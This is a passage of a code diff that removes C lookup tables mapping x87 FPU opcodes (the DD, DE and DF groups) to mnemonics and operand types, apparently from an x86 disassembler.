- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
-};
-INST inst_table_fpu_dd[72] = {
- { INSTRUCTION_TYPE_FLD, "fldl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FISTTP,"fisttp", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FST, "fstl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FSTP, "fstpl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 },
- // XXX: operand type is not exactly right..
- { INSTRUCTION_TYPE_FPU, "frstor", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- // XXX: operand type is not exactly right..
- { INSTRUCTION_TYPE_FPU, "fsave", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- // XXX: operand type is not exactly right..
- { INSTRUCTION_TYPE_FPU, "fstsw", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMP,"fucomp", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
-};
-INST inst_table_fpu_de[72] = {
- { INSTRUCTION_TYPE_FIADD, "fiadd", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FIMUL, "fimul", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FICOM, "ficom", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FICOMP,"ficomp", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FISUB, "fisub", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FISUBR,"fisubr", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FIDIV, "fidiv", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FIDIVR,"fidivr", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FADDP, "faddp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FMULP, "fmulp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMPP,"fcompp", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBRP,"fsubrp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FSUBP, "fsubp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVRP,"fdivrp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST1|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST2|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST3|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST4|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST5|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST6|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FDIVP, "fdivp", AM_REG|REG_ST7|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
-};
-
-INST inst_table_fpu_df[72] = {
- { INSTRUCTION_TYPE_FILD, "fild", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- // fisttp: IA-32 2004
- { INSTRUCTION_TYPE_FISTTP,"fisttp", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FIST, "fist", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FISTP, "fistp", AM_E|OT_w, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FPU, "fbld", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FILD, "fild", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FPU, "fbstp", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_FISTP, "fistp", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 },
- // ffreep undocumented!!
- { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST0|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST1|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST2|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST3|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST4|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST5|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST6|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FFREEP,"ffreep", AM_REG|REG_ST7|F_f, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, "fstsw", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FUCOMIP,"fucomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FCOMIP,"fcomip", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
-};
-
-// Table of FPU instruction tables
-
-/*
- * These tables are accessed by the following way:
- *
